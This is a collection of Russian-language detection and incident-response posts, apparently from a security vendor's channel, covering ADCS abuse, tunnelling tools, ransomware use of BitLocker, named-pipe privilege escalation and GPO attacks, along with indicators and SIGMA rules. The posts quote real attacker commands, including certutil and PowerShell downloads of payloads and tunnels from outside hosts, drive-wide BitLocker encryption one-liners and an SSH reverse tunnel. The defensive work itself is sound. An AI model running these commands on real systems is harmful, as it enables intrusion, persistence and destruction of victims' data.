Повысить привилегии через Active Directory Certificate Services (ADCS) можно с помощью многих разных техник. Сегодня разбираем, как детектировать атаку ADCS ESC13.

Вкратце: класс Issuance Policy в Active Directory содержит атрибут msDS-OIDToGroupLink, и этот атрибут можно использовать для линковки Issuance Policy с группой AD. Таким образом, системы будут авторизовать пользователей, как будто они включены в группу. Работать это будет в случае, если пользователь предоставит сертификат с необходимой Issuance Policy.

Из-за схожести таких билетов с золотыми, для их выявления можно воспользоваться утилитой FindGT Александра Родченко. Либо использовать скрипт Check-ADCSESC13 для аудита небезопасных конфигураций в AD, который предлагают сами авторы техники ESC13.

А чтобы детектировать атаку во время эксплуатации, нужно наблюдать за изменениями соответствующих объектов AD и ADCS. В частности, можно получить событие добавления Issuance Policy в Certificate Template – и посмотреть, есть ли у него линк с какой-то группой. Также необходимо следить за изменением атрибута msDS-OIDToGroupLink. И ещё полезно проверять опубликованные Certificate Templates с потенциально эксплуатируемой конфигурацией, содержащие Issuance Policy – и следить, какие пользователи их запрашивают.

Подробнее об этой атаке и методах детектирования – в статье Дмитрия Щетинина.

Если вы по-прежнему мечтаете разложить потенциальные угрозы для вашей организации по матрице MITRE ATT&CK, оценить покрытие и приоритизировать задачи, но при этом вы пропустили наш вебинар по этой теме – не отчаивайтесь!

Теперь полную инструкцию можно прочитать в статье Андрея Тамойкина и Романа Назарова:
https://securelist.ru/detection-engineering-backlog-prioritization/109883/

Мы уже рассказывали про туннель через QEMU, а теперь – ещё одна интересная техника туннелирования от атакующих, с использованием VSCode (Visual Studio). Работает так:

– Злоумышленник включает опцию «Туннель разработки» из графического интерфейса VSCode на скомпрометированной машине, либо включает эту опцию с помощью консольной версии (её легче загрузить на хост без VSCode):

code.exe tunnel [service install] [--name "tunnel-name"] 

– Поднимается туннель с легитимными серверами Microsoft Azure (домен *.tunnels.api.visualstudio.com).

– Атакующий подключается по ссылкам вида vscode.dev/tunnel/<victim's hostname>/<tunnel name>.

– IP атакующего не видно, а сам трафик зашифрован внутри SSH-over-HTTPS.

Что ловить защитникам:
– Запуски code.exe с ключиком tunnel в командной строке
– Создание файла code_tunnel.json в %UserProfile%\.vscode-cli\
– Цепочку процессов code.exe -> cmd.exe -> node.exe -> winptyagent.exe
– Домены в трафике или резолвах DNS *.tunnels.api.visualstudio.com и *.devtunnels.ms

Больше деталей про туннели через VSCode и не только – на конференции OFFZONE 23 августа в 13:00, в докладе Кирилла Магаськина "LOLApps: подножный корм хакера".

А помните, мы упоминали инцидент, когда атакующий получил доступ к почте сотрудника, и дождавшись переписки с аттачем, добавил вредоносный макрос в документ? Очень аккуратная атака: никаких подозрительных ссылок, никаких посторонних адресов. Просто один реальный сотрудник пишет в рассылке «пришлите ваши правки к документу», а другой сотрудник посылает в ответ тот же документ с правками. После этого в корпоративную сеть попадает бэкдор, и атакующий развивает атаку.

В рамках этого инцидента было одно событие, которое часто приводит к дискуссиям: всегда ли заход с non-Windows хоста на Windows-систему по RDP является алертом? Понятно, что так могут делать и легитимные админы. Однако подобные заходы всегда привлекают внимание ИБ-экспертов.

Как обнаружить такую активность? Это непросто:

– Вследствие различий в реализации определённых протоколов на Linux и Windows можно искать такие аномалии в трафике с помощью IDS.
– Некоторые утилиты могут оставлять артефакты в штатных событиях Windows (например, имя хоста-источника в событиях логона).
– Перспективным выглядит использование ML для определения нестандартных (новых) пользователей и источников логона на хосте. Или просто чётко заданные правила с источниками админских машин, а всё остальное – алерт.
– Лучше всего иметь инвентаризацию для обогащения источника и назначения событий ИБ типом ОС.

Остальные детали инцидента и расследования – в докладе Алины Сухановой «Взлом через MS Exchange» (OFFZONE, 23 августа, 13:40)

Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

Продолжаются эксплуатации 1-day уязвимости в WinRAR через социалки. Взято из самых свежих инцидентов у наших клиентов: архив с эксплуатацией CVE-2023-38831 для первоначального пробива. Более того – это самый используемый вектор по нашей статистке за прошлый год, и в этом году он тоже в ТОП-3.

Ловим такой пробив, собирая EDR-like телеметрию и/или делаем аудит запуска процессов (4688). Обращаем внимание на:
– файлы с двойным расширением и/или пробелом в расширениях: ".pdf. cmd"
– запуски от winrar-процесса дочерних исполнений: cmd, powershell, ...

Если вы увидели такое, что делать:
– Найти письмо/письма, связанные с этими подозрительными событиями,
– Идентифицировать все пересылки этих писем внутри/вне организации,
– Найти всех получателей таких писем и составить список всех хостов, где их могли открывать,
– Собрать и сохранить письма с нагрузками, а также данные, залитые на хосты после запуска нагрузки из письма,
– Запустить всё собранное в песочнице или разобрать руками, чтобы вытащить индикаторы: c2, пути, способы закрепления, ...
– Проверить все индикаторы по всей организации,
– Реагировать,
– И да, на любом этапе можно подключать внешнюю помощь по расследованию и реагированию.

В прошлом посте описывали пробив через уязвимость WinRAR, который используется многими атакующими в этом году. Например, хакерская группировка Head Mare часто применяет такую технику для компрометации своих жертв.

С деталями работы этой группировки, атакующей компании в России и Беларуси, можно ознакомиться в отдельном отчёте наших коллег. А здесь мы сконцентрируемся на таком интересном вопросе: какой самый дешёвый способ обнаружить атаку Head Mare до этапа влияния?

На этапе разведки (при включённом журналировании командных строк или EDRе) мы увидим вот такие команды:

cmd /c “echo %USERDOMAIN%”
arp -a
cmd /c “cd /d $selfpath && whoami”
cmd /c “cd /d $appdata && powershell Get-ScheduledTask -TaskName “WindowsCore””

Чтобы установить, насколько критичны подобные события и как далеко продвинулся атакующий в инциденте, необходимо посмотреть:
– привилегии пользователя, от которого запускали команды,
– что потенциально могло утечь из памяти (lsass) и/или hive-ов реестра с кредами.

Если есть привилегированные пользователи домена, то оперативность и размах реагирования должны быть масштабными: например, не просто саспенды и смена паролей пользователям, а отключение сетевой связности. И самое главное – необходимо сразу начинать восстанавливать хронологию атаки до первоначального пробива.

Безусловно, это не весь арсенал команд из разведки – пример большого списка смотрите здесь. Но мы отметили самые распространённые команды, которые будут использованы для первого получения доступа.

Среди интересных инцидентов прошлого года – выявлен очень незаметный способ закрепиться и латерально перемещаться. Небольшое количество изменений в системе, вне поверхности обычного абузного легитимного win-based и под покрывалом обычного софта.

Атакующие приносят нагрузки:

certutil.exe -urlcache -split -f hxxp://<Public IP>/<file with payload>

Используют возможности популярной системы мониторинга Zabbix с конфигурацией, разрешающей удалённое выполнение команд:

EnableRemoteCommands=1
LogFile=0
Server=0.0.0.0/0
ListenPort=5432

Для Zabbix-агентов на фаерволе злоумышленники открывают порт 5432 с красивым и правильным именем PGSQL.

В результате использования этих техник атакующие, очень похожие на группировку Flax Typhoon, более двух лет остаются незамеченными в системе – пока не приходят эксперты по реагированию на инциденты. Подробнее об этой атаке, а также о других интересных инцидентах, расследованных нашими коллегами в прошлом году:
https://securelist.com/incident-response-interesting-cases-2023/113611/

Говорят, в нашей индустрии не хватает SOC-аналитиков. Может быть, молодёжь просто не знает, что это за зверь? На этот случай наш эксперт Сергей Солдатов написал подробное разоблачение мифов о работе в SOC.

Если вкратце, SOC-аналитик – это хороший способ войти в сферу ИБ. Но способ достаточно требовательный к кругозору: от хардовых инженерных скиллов до софтовых коммуникационных (см. скриншот).

В комментариях к статье возник интересный вопрос: если джуниор может за четыре года вырасти до тимлида, то через несколько лет в компании будет множество новых кандидатов в тимлиды. Куда же девать старых тимлидов?

Мнение Сергея по этому вопросу читайте на Хабре. Мы же здесь добавим лишь один совет: смотрите на диаграмму карьерного пути и дорисовывайте дуги в другие организации (существующие или новые). Мы за здоровую конкуренцию. Да и вообще путь настоящего самурая – открыть свой собственный бутик или ресторан.

Многие эксплоиты для локального повышения привилегий в Windows используют следующую комбинацию:
1. Заставить привилегированный сервис записать что-то в Named Pipe, подконтрольный атакующему.
2. Имперсонировать LocalSystem с помощью WinAPI ImpersonateNamedPipeClient.

Для осуществления первого шага атакующие часто используют RPC вызовы (например, RpcRemoteFindFirstPrinterChangeNotification, EfsRpcOpenFileRaw, NetrFileGetInfo, и т.п.). Однако предполагается, что привилегированные сервисы будут взаимодействовать с известными служебными Named Pipes, такими как \\.\pipe\spoolss, \\.\pipe\efsrpc, \\.\pipe\srvsvc и т.п. Каким же образом атакующие получают контроль над системными пайпами?

Никаким. В ОС Windows существует особенность интерпретации hostname в RPC вызовах: если хостнейм содержит прямой слеш /, то само поле пройдет валидацию, слеши преобразуются в обратные, а имя пайпа будет считаться от окончания реального hostname. То есть если вызов должен писать в \\.\pipe\spoolss, то при указании HOSTNAME как HOSTNAME/pipe/testtest, вызов будет писать в пайп \\HOSTNAME\pipe\testtest\pipe\spoolss.

Мы можем детектировать все такие методы на одном общем свойстве, которое атакующие не могут изменить – строка pipe встречается в названии создаваемого пайпа два раза. Есть два способа реализации такого ханта:
1. Детектировать, если подстрока pipe встречается в имени пайпа два раза (или один раз, в зависимости от телеметрии: например, 17 событие Sysmon обрезает начальное \\.\pipe). Но этот способ может привести к ложным срабатываниям, поскольку существует софт, который создает пайпы со строкой pipe в середине имени.
2. Детектировать создание пайпов по формату [буквы или цифры]\pipe\<системное_имя>. Это потенциально покрывает меньшее количество сценариев, однако значительно сокращает вероятность ложных срабатываний.

Делимся двумя готовыми SIGMA-правилами из нашего SIGMA feed:

noscript: Privilege Escalation Named Pipes (potato attacks) exact
id: 4d945de4-4bce-416c-b84c-693a563af091
status: stable
denoscription: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: 
         - '.*[a-zA-Z0-9]\\pipe\\epmapper'
         - '.*[a-zA-Z0-9]\\pipe\\lsass'
         - '.*[a-zA-Z0-9]\\pipe\\samr'
         - '.*[a-zA-Z0-9]\\pipe\\initshut'
         - '.*[a-zA-Z0-9]\\pipe\\ntsvcs'
         - '.*[a-zA-Z0-9]\\pipe\\scerpc'
         - '.*[a-zA-Z0-9]\\pipe\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\MSSQL\$.+?\\sql\\query'
         - '.*[a-zA-Z0-9]\\pipe\\netlogon'
         - '.*[a-zA-Z0-9]\\pipe\\spoolss'
         - '.*[a-zA-Z0-9]\\pipe\\atsvc'
         - '.*[a-zA-Z0-9]\\pipe\\netdfs'
         - '.*[a-zA-Z0-9]\\pipe\\eventlog'
         - '.*[a-zA-Z0-9]\\pipe\\termsrv'
         - '.*[a-zA-Z0-9]\\pipe\\TSVCPIPE-.*'
         - '.*[a-zA-Z0-9]\\pipe\\svcctl'
         - '.*[a-zA-Z0-9]\\pipe\\DAV\sRPC\sSERVICE'
         - '.*[a-zA-Z0-9]\\pipe\\srvsvc'
         - '.*[a-zA-Z0-9]\\pipe\\wkssvc'
         - '.*[a-zA-Z0-9]\\pipe\\browser'
    condition: selection
falsepositives: Unlikely
level: high

noscript: Privilege Escalation Named Pipes (potato attacks)
id: 8294ec37-a4cf-40d7-8a3f-0e0fea8fe6e9
status: stable
denoscription: This rule detects named pipes created by  
tags:
    - attack.privilege_escalation
    - attack.t1068
author: Kaspersky
logsource:
    product: windows
    category: pipe_created
detection:
    selection:
        PipeName|re: '.*[a-zA-Z0-9]\\pipe\\.+'
    condition: selection
falsepositives: Legitimate software (e.g. Avaya) might do this.
level: high

Мы уже рассказывали, что вымогатели любят использовать Bitlocker для шифрования своих жертв. Этот инструмент установлен практически на всех современных ОС Windows, является легитимной компонентой ОС (не детектируется антивирусами), надёжно шифрует диски (без ключа расшифровать невозможно) и сильно затрудняет расследование атаки, поскольку все криминалистические артефакты (журналы ОС, реестр, файловая система) оказываются полностью зашифрованными.

А ещё Bitlocker может быть активирован удалённо с помощью простой PowerShell-команды. Мы встречали использование таких команд:

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -Pin $SecurePassword -Mount $Drive -TPMandPinProtector -skiphardwaretest -UsedSpaceOnly}

$Drives=Get-PSDrive -PSProvider FileSystem;foreach($Drive in $Drives) { $Drive=$Drive.Name+':';$PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker -password $SecurePassword -Mount $Drive -PasswordProtector -skiphardwaretest -UsedSpaceOnly}

if (Get-Command Get-ClusterResource -errorAction SilentlyContinue) { foreach($Cluster in Get-ClusterResource) { Suspend-ClusterResource $Cluster; $PlainPassword='<пароль>'; $SecurePassword = $PlainPassword | ConvertTo-SecureString -AsPlainText -Force;  enable-bitlocker  $Cluster.SharedVolumeInfo.FriendlyVolumeName -password $SecurePassword -PasswordProtector -skiphardwaretest -UsedSpaceOnly; Resume-ClusterResource $Cluster} }

Что делать защите? Во-первых, с помощью групповой политики можно включить сохранение ключей расшифровки Bitlocker в Active Directory. Однако, если злоумышленники получили права доменного админа, то они могут отключить эту настройку.

Во-вторых, чтобы детектировать подобную атаку, нужно отслеживать в EDR/SIEM запуск командлета enable-bitlocker и утилиты manage-bde.exe.

Больше подробностей о техниках вымогателей и о методах борьбы с ними – в докладе Григория Саблина на Volga CTF (Самара, 18 сентября).

Бывало ли у вас так, что в логах веб-приложения начинают появляться запросы к несуществующим путям? А может, бывало даже так, что ваше приложение начинает на них отвечать что-то непонятное? И даже делает запросы ко внутренним ресурсам? Такое было возможно в прошлом, но если вы следуете всем лучшим практикам миркосервисной архитектуры, то вы должны быть защищены от подобного. Или нет?

Если вы при этом ещё и видите в своей системе детекта создание файлов вида /tmp/.java_pid17234 и .attach17234, то выбирайте плейбук по реагированию с воблой: вас заливают PIWAS-ом. Это новая тулза по загрузке шеллов и соксов в память процессов для пентестеров – Process Injected Webshell And Socks.

Объяснение этой и других похожих техник эксплуатации вы можете услышать завтра, в докладе Павла Топоркова на VolgaCTF (Самара, 17 сентября, 15:00).

В отчётах об атаках различные хакерские группировки обычно описываются поодиночке: пришёл атакующий, использовал такие-то техники, на основе этих техник и артефактов атрибутируем атаку к такой-то APT.

Но на практике всё бывает не так однозначно. Вот пример из наших недавних расследований. На одной из машин пострадавшей организации всплывают:

– бэкдоры алледжидли-азиатской APT,
– запуск SSH-туннелей, форвардящих порт RDP; в одном случае сервер управления пересекается с сервером управления алледжидли-азиатского бэкдора,
– инструменты для извлечения паролей,
– явление шифровальщика, а его операторы подключаются через SSH-туннель:

vmhost.exe -C -N -R 443:<internal_ip>:3389 root@<external_ip> -P 80 -pw <password> -v

Однако алледжидли-азиатская APT, которой принадлежат бэкдоры, никогда не занималась вымогательством. Они просто шпионили за своей целью в течение последних 4 лет. Необычная сюжетная арка.

Мы пробили, какие сервисы доступны из публичных сетей на сервере управления той самой APT-группы. Там торчал наружу RDP пострадавших. А вот брутфорс-атака на RDP – это уже характерное поведение для операторов шифровальщика, с которым мы столкнулись. То есть вторая группа атакующих (вымогатели) насканили RDP-порт жертвы на инфре первоначальных атакующих (алледжидли-азиатская APT) и сбрутили его.

Мораль: Не выкидывай RDP в публичные сети, даже если ты – шпиён 😊

Вымогатели, использующие Lockbit и Babuk, расширили набор инструментов для организации сетевого доступа во внутреннюю сеть жертвы извне. В новой серии ransomware-атак замечено использование localtonet (localtonet[.]com). Этот инструмент даёт очень удобные фичи атакующим: оператор может удалённо выбирать, к какому сервису и на какой системе внутри сети нужно организовать доступ извне.

Настоятельно рекомендуем проверять такие сетевые индикаторы:
  localtonet[.]com
  *.localtonet[.]com
  *.localto[.]net

Можно проверять запуски в командных строках и процессах по названиям бинарей – атакующие используют ванильные архивы от разработчика софта. Пример скрипта Powershell по установке localtonet на скомпрометированной системе:

powershell iwr http[://]localtonet[.]com/download/localtonet-win-64.zip -outfile ltn.zip -usebasicparsing; 
expand-archive -force -path ltn.zip -destinationpath C:\Windows\Temp; 
iwr http[://]localtonet[.]com/nssm-2.24.zip -outfile nssm.zip -usebasicparsing; 
expand-archive -force -path nssm.zip -destinationpath C:\Windows\Temp; 
C:\Windows\Temp\nssm-2.24\win64\nssm.exe install Win32_Serv C:\Windows\Temp\localtonet.exe authtoken <token>; 
C:\Windows\Temp\nssm-2.24\win64\nssm.exe start Win32_Serv; 
rm nssm.zip; 
rm ltn.zip;

Если подобная активность обнаружена, стоит реагировать по плейбуку борьбы с шифровальщиком – то есть максимально оперативно.

Пароли в командных строчках

Пароли в командных строках – это небезопасно. Командные строчки логгируются в открытом виде (bash_history, powershell), в общем, не считаются конфиденциальной информацией, а, следовательно, операционные системы не обеспечивают для них должный уровень безопасности, как для пароля, поэтому наличие пароля в командных строках – это уязвимость, и в инфраструктурах с адекватными командами ИТ, скорее, аномалия. Тем не менее, по требованиям безопасности, можно ожидать пароли в командных строках, поэтому в решениях *DR может существовать какая-либо автоматика для маскирования паролей в командных строчках.

Понимая очевидную проблему безопасности в передаче пароля в командной строке, производители инструментов, тем не менее, предлагают такой функционал. И этим функционалом, в том числе, пользуются и злоумышленники, что позволяет их эффективно обнаруживать и расследовать, а иногда и нивелировать ущерб от их действий. Приведу пару случаев из практики.

Пароль атакующего для обнаружения скомпрометированных систем
В одном из инцидентов атакующий использовал подломанную сервисную УЗ (пароль, хороший, стойкий, случайный, в открытом виде был взят из конфигов) для сбора информации BloodHound-ом, команда выглядела примерно так:
<...> Invoke-StandardCollector –c DcOnly –d domain.corp –prettyjson –nosavecache –ldapusername user_name –ldappassword user_password

В этом инциденте задачу обнаружения всех машинок присутствия атакующего я решил очень просто – поиском по командным строчкам, содержащим подломанный пароль. В целом, можно было искать и по подломанной УЗ, но находились еще и некоторые задачи по расписанию, куда пароль подсовывался более безопасным способом и поэтому не светился в командной строке, а вот пароль в открытом виде в строчку забивал только атакующий.

Описанный фокус работает и с другими излюбленными инструментами атакующих – psexec, paexec, impacket, rdesktop, evil-winrm и т.п.


Пароль атакующего для снятия последствий ущерба
Шифровальщики – тип инцидента №1 с которым приходят за расследованием. Про шифровальщики есть масса публикаций (ну..., можно Ладу послушать, например, там профиль SMB, но для общего понимания – то, что надо; и Канарейки про них постоянно пишут, ну больше всех публикаций, конечно же у ЛК, один из свежих), но надо понимать следующие современные особенности:
– Непосредственно работе шифровальщика предшествует человекоуправляемая атака
– Обычно начинают запускать шифровальщик, когда сеть уже поломана, например, взят домен и шифровальщика раскатывают групповыми политиками или через корпоративные системы инвентаризации и управления типа SCCM или какие-то управляющие сервера (для целей унижения любят использовать сервера управления систем безопасности, которые, очевидно, как и все, в домене, а следовательно, скомпрометированы)
– Часто шифруют легитимные инструментами, типа Bitlocker, VeraCrypt, Kryptor, DiskCryptor и т.п.
– Либо используют кастомизированные сборки популярных Babuk, Conti, LockBit, Chaos, Xorist и т.п., а если мешает EPP, то его выносят разными способами в рамках человекоуправляемости атаки (часто используются легитимные методы, так как нелегитимные - шумные и блокируются, поэтому пока вынесут, ребят успеют локализовать)

В одном из инцидентов злоумышленник для шифрования использовал Bitlocker, команда выглядела примерно так:
manage-bde -on C: -rp very_long_random_recovery_password -sk C:\ -s -used -RemoveVolumeShadowCopies

Пароль восстановления доступен непосредственно в командной строке...

#MDR

И снова ловим вымогателей, использующих связку Lockbit и Babuk. В новом инциденте атакующие получили доступ во внутреннюю сеть жертвы (организация А) через атаку Trusted Relationship (T1199) и закрепили в сети уже известный нам инструмент для туннелирования трафика – localtonet. В процессе разведки инфраструктуры атакующие обнаружили в том же сетевом сегменте домены ещё двух организаций B и С, где домены оказались с доверительными отношениями. Так злоумышленники получили учётки из доменов организаций B и С.

Но атакующие не успели пошифровать организацию А: её защитники вовремя заметили подозрительную активность и экстренно отреагировали (погасили сетку). Заподозрив неладное, атакующие попытались развить атаку в другом направлении. В этом им помогли собранные учётки из домена организации B, а также VPN без второго фактора. Атакующие незаметно закрепили на одной системе организации B новые инструменты для туннелирования: cloudflared и gost.

Однако быстрые коммуникации между организациями A, B и С, а также знания об атаке на A и новые подробности из B и С позволили остановить атаку до импакта – то есть оперативно повыключать всё, что могло зашифроваться, и в рабочем режиме исправлять-защищать инфру. План шифровальщиков на этот раз не сработал.

А вы готовы к таким выкрутасам? Проверьте эти индикаторы:

argotunnel[.]com
*.argotunnel[.]com

KRBUACBypass — это инструмент, позволяющий обходить механизм защиты User Account Control (UAC) в Windows, используя уязвимости в работе с билетами Kerberos. Атака основана на добавлении поддельной записи KERB-AD-RESTRICTION-ENTRY в сервисный билет, что позволяет получить привилегии уровня SYSTEM через доступ к службе диспетчера контроля служб (SCM) с использованием аутентификации Kerberos.

Процесс эксплуатации включает:
1. Получение TGT пользователя через метод делегирования (Tgtdeleg).
2. Запрос сервисного билета с поддельным MachineID.
3. Использование этого билета для взаимодействия с SCM и создания службы, работающей с привилегиями SYSTEM.

Как детектировать атаку:

В нормальных условиях при доступе пользователя к локальным сервисам в Windows используется токен безопасности, связанный с его сеансом, а не Kerberos-билеты. Пользователь аутентифицируется при входе в систему, и система создаёт токен доступа, содержащий информацию об учётной записи, группах и привилегиях пользователя.

А теперь посмотрим, что запрашивается для повышения привилегий при использовании KRBUACBypass (см. скриншот). Здесь запрашивается пересланный TGS-билет для локального сервиса HOST/gam-win10 от имени текущего пользователя, и этот билет помещается в кеш билетов. Это делается для обхода контроля учётных записей пользователей (UAC) и повышения привилегий без отображения UAC-подтверждения.

Но такое действие является аномалией, потому что:
— Пользователи обычно не запрашивают билеты для доступа к локальным сервисам (см. выше про токен безопасности).
— Флаги билета, такие как forwarded и forwardable, указывают на то, что билет был переслан. А сервис для этого билета "местный". Также отметим, что в TGT для сессии иные флаги. Для локальных сервисов это нехарактерно и может свидетельствовать о попытке обхода механизмов безопасности.

Поэтому обнаружение в кеше пользователя пересланного TGS-билета для локального сервиса HOST/gam-win10, особенно с флагами forwarded и forwardable, позволяет засечь использование KRBUACBypass или подобной техники для несанкционированного повышения привилегий.

Как многократно подтверждено на практике, атакующие не меняют свои ТТР, если они сохраняют результативность. Поэтому, в рамках активного поиска угроз (Threat hunting) разумно в первую очередь проверять техники и инструменты, которыми атакующие пользовались ранее. А это, в свою очередь, определяется возможностями по анализу данных об угрозах (Threat Intelligence).

А кто именно будет атаковать? На этот вопрос тоже может ответить качественная TI. Ведь серьёзные атакующие, как правило, имеют специализацию. Поэтому, фокусируя Threat hunting на кластеры активности, релевантные заданной индустрии и географической локации, наш SOC имеет возможность значительно сократить объём хантинга, повышая его эффективность.

Вы тоже можете оценить такой подход, используя новый инструмент Threat Landscape, который появился на нашем портале сервисов киберразведки: собранные экспертами данные об угрозах разложены на применяемые TTP в нотации MITRE ATT&CK, в соответствии с профилями замеченных жертв. Подробнее о том, как этот инструмент помогает командам SOC, расскажем на вебинаре – 25 октября, 11:00 МСК.

Однажды мы рассказывали, как повышают привилегии через Active Directory Certificate Services (ADCS). Тогда была атака ADCS ESC13, недавно появилась ADCS ESC15. Другие ESCx тоже интересные, но про них – в другой раз.

А в технике ADCS ESC15 главное: уязвимые шаблоны сертификатов 1-й версии схемы с возможностью указать subjectAltName (SAN) в CSR. Для эксплуатации нужна доменная учётка с правами Enroll на уязвимый шаблон.

Например, один из встроенных уязвимых шаблонов – WebServer (Version:1 и CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). По умолчанию, запрашивать сертификаты с этим шаблоном могут только Domain- и Enterprise- администраторы. Но по нашему опыту, пользователи часто меняют права на этот шаблон, и нередко можно встретить там даже Authenticated Users.

Суть эксплуатации: при наличии у сертификата расширения Application Policies и Extended Key Usage (EKU), домен-контроллер предпочтёт верить EKU из Application Policies. Это значит, что при запросе сертификата, используя уязвимый шаблон, атакующий может добавить EKU «Client Authentication» в поле Application Policies, добавить администратора домена в SAN и, получив сертификат, успешно запросить TGT для этого администратора. Получается очень похоже на технику атаки ESC1. Единственное ограничение – это возможность аутентификации только по schannel на LDAP.

Также атакующий может добавить EKU «Certificate Request Agent» в поле Application Policies и использовать полученный сертификат для запроса ещё одного, но уже на любого пользователя, как это реализовано в технике ESC3. Либо добавить "Code Signing" в Application Policies и использовать сертификат для подписи файлов.

Как детектировать уязвимые шаблоны и что делать после – читайте в статье Дмитрия Щетинина.

Групповые политики в Windows (Group Policy Objects, GPO) дают админам возможность контролировать настройки пользователей и компьютеров в доменной среде. Но эта же фича в руках злоумышленников позволяет проводить различные атаки. Самый распространенный сценарий, который мы наблюдали – массовый деплой шифровальщика на множество хостов.

Также групповые политики могут использоваться для скрытного закрепления в домене, после чего атакующие могут делать всё, что угодно. Например, инструмент SharpGPOAbuse позволяет через GPO создавать новые пользовательские задачи в планировщике (см. скриншот), повышать привилегии, добавлять скрипты автозапуска и т.д.

Главные модификации при этом происходят в шаблоне групповой политики (Group Policy Template, GPT), что расположен на SysVol – там изменяются атрибуты gPCMachineExtensionNames и gPCUserExtensionNames.

Если атакующий не может получить доступ к SysVol из-за отсутствия прав на изменение GPT, он может изменить атрибут gPCFileSysPath, указав путь до подконтрольного ему сетевого ресурса. Тогда все клиенты, на кого распространяется политика, будут идти на данный ресурс. Подобный функционал даёт инструмент GPOddity. Он поднимает собственный SMB-сервер, где создает вредоносные политики, после чего изменяет путь до GPT, а после применения политик восстанавливает старые из своего бэкапа.

Как детектировать: следите за модификацией атрибутов gPCMachineExtensionNames, gPCUserExtensionNames и gPCFileSysPath через событие 5136 на изменение объектов AD.

Подробности и SIGMA-правила для обнаружения вредоносных групповых политик – в статье Глеба Иванова.

В прошлом посте мы рассказали, как детектировать атаки на основе компрометации групповых политик (GPO). А теперь о том, как обеспечить проактивный мониторинг групповых политик в SOC.

Во-первых, не всегда попадаются хосты с включенным расширенным аудитом Windows. Там, где это возможно, используйте ETW-провайдеры. А где не получается обойтись одним ETW – расширяйте покрытие телеметрии.

К примеру, чтобы отвязаться от события 5136, что требует настройки аудита «Изменения в службе каталогов», наш эксперт Александр Родченко разработал утилиту GCNet. Этот инструмент работает на основе PoC по мониторингу изменения служб каталогов, описанным Microsoft.

Утилита GCNet биндится к базе LDAP, где надо указать поиск по определенному distinguishedName (в нашем случае это CN=Policies) и подписаться на любые его изменения. Данный функционал выступает триггером для того, чтобы запросить GPO, где выводится информация с GPC и GPT (см. скриншот выше).

Дальше событие прогоняется по детектирующим правилам. Одним из важных атрибутов политики являются опции GPLink и флаги политики. Политики с флагом Enforced имеют приоритет перед остальными и будут применены раньше, и они не могут быть переписаны другой политикой. Есть ещё несколько флагов, зная которые, можно понять, включена политика или нет.

Совокупность всех атрибутов также дает дополнительную информацию о том, сколько времени есть на реагирование, пока не применится групповая политика (по умолчанию политики обновляются каждые 90 минут, плюс-минус 30 минут с джиттером на клиентских машинах, и каждые 5 минут на домен-контроллере). Также по этим атрибутам можно увидеть, где и как политика применяется, что значительно расширяет картину расследования.